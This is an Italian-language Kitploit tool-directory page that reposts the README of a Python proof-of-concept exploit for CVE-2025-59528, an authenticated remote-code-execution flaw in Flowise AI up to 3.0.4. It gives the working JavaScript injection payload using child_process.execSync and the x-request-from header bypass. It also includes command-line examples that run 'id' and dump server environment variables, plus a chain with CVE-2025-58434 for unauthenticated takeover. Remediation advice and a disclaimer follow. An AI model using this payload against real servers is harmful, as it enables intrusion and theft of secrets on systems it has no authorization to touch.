Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Flowise-RCE-CVE-2025-59528 — Exploit PoC in Python per CVE-2025-59528, che consente RCE autenticato su Flowise AI <= 3.0.4 tramite l'endpoint customMCP e Node.js child_process.execSync. | Kitploit
Strumenti/GitHubGitHub/arensballiu/flowise-rce-cve-2025-59528
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingRed TeamingSviluppo Payload
GitHubarensballiu/flowise-rce-cve-2025-59528

Flowise-RCE-CVE-2025-59528

Exploit PoC in Python per CVE-2025-59528, che consente RCE autenticato su Flowise AI <= 3.0.4 tramite l'endpoint customMCP e Node.js child_process.execSync.

Vedi Repository
114h 37m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-59528 — Esecuzione Remota di Codice (RCE) Autenticata in Flowise AI

Panoramica

ID CVE: CVE-2025-59528
Software interessato: Flowise AI
Versioni vulnerabili: <= 3.0.4
Versione corretta: 3.0.5 e successive
Gravità: Critica
Autore: arensballiu
Data: 2025

Descrizione

Le versioni di Flowise AI fino alla 3.0.4 inclusa consentono a un utente autenticato di ottenere l'Esecuzione Remota di Codice (RCE) sul server host inviando un payload JavaScript appositamente costruito all'endpoint /api/v1/node-load-method/customMCP.

Il metodo di caricamento del nodo customMCP accetta input controllato dall'utente che viene valutato lato server come JavaScript, senza adeguata sanificazione o sandboxing. Iniettando un payload che sfrutta child_process.execSync di Node.js, un attaccante può eseguire comandi arbitrari del sistema operativo con i privilegi del processo del server Flowise.

L'endpoint richiede inoltre la presenza dell'header .

x-request-from: internal

Endpoint interessato

EndpointMetodoAutenticazione richiestaScopo
/api/v1/auth/loginPOSTNoAutenticarsi e ottenere la sessione
/api/v1/node-load-method/customMCPPOSTSì (cookie di sessione)Endpoint vulnerabile del metodo di caricamento del nodo

Proof of Concept

File: CVE-2025-59528_POC.py

Requisiti

  • Python 3.x
  • Libreria requests
  • Credenziali valide per qualsiasi account utente sull'istanza Flowise di destinazione
root@kitploit:~
pip install requests

Utilizzo

root@kitploit:~
python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>

Argomenti

FlagForma estesaObbligatorioDescrizione
-e--emailSìIndirizzo email dell'utente autenticato
-i--urlSìURL di base dell'istanza Flowise
-p--passwordSìPassword dell'utente autenticato
-c--cmdSìComando del sistema operativo da eseguire sul server

Esempi

Verificare l'esecuzione del codice:

root@kitploit:~
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"

Recuperare le variabili d'ambiente del server:

root@kitploit:~
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"

Output previsto

root@kitploit:~
[+] Logged in
[+] Exploit sent
[+] Status: 200

Analisi del payload

L'exploit inietta la seguente espressione JavaScript nel campo mcpServerConfig:

root@kitploit:~
({x:(function(){
    const cp = process.mainModule.require('child_process');
    cp.execSync('<command>');
    return 1;
})()})
  • process.mainModule.require('child_process') — carica il modulo integrato di Node.js per l'esecuzione di processi.
  • execSync('<command>') — esegue in modo sincrono il comando del sistema operativo fornito dall'attaccante.
  • L'intera espressione è racchiusa in un oggetto letterale per garantire che venga valutata correttamente all'interno del contesto JavaScript del server.

L'header x-request-from: internal viene inoltre aggiunto alla richiesta per superare un controllo di origine interno che altrimenti bloccherebbe la chiamata.

Causa principale

L'endpoint customMCP passa l'input fornito dall'utente direttamente in un contesto di valutazione JavaScript sul server senza sanificazione o sandboxing. Combinato con l'accesso non limitato ai moduli core di Node.js (in particolare child_process) tramite process.mainModule.require, questo crea un vettore RCE banalmente sfruttabile. Il controllo dell'header x-request-from non fornisce alcun confine di sicurezza significativo poiché non viene validato rispetto a nessuna fonte attendibile.

Concatenazione con CVE-2025-58434

Queste due vulnerabilità possono essere concatenate per un percorso di attacco RCE non autenticato contro istanze Flowise che eseguono versioni <= 3.0.4:

  1. Utilizzare CVE-2025-58434 per reimpostare la password di qualsiasi account noto (nessuna autenticazione preventiva necessaria).
  2. Accedere con le credenziali appena impostate.
  3. Utilizzare CVE-2025-59528 per eseguire comandi arbitrari del sistema operativo sul server.

Remediation

  • Aggiornare a Flowise AI 3.0.5 o successiva, che rimuove o sandboxa correttamente il percorso di valutazione vulnerabile.
  • Non valutare mai stringhe controllate dall'utente come codice in un contesto lato server.
  • Limitare l'accesso ai moduli pericolosi di Node.js (child_process, fs, ecc.) tramite un sandbox adeguato (ad esempio vm2, contesti isolati o rimozione dell'accesso a process.mainModule).
  • Validare e autenticare l'header x-request-from tramite un meccanismo lato server anziché un semplice controllo di stringa.
  • Applicare il principio del privilegio minimo al processo del server Flowise.

Disclaimer

Questo proof of concept è fornito esclusivamente a scopo educativo e di ricerca sulla sicurezza autorizzata. L'uso di questo script contro sistemi senza esplicita autorizzazione scritta è illegale e non etico. L'autore e i contributori non si assumono alcuna responsabilità per un uso improprio.

Scarica lo strumento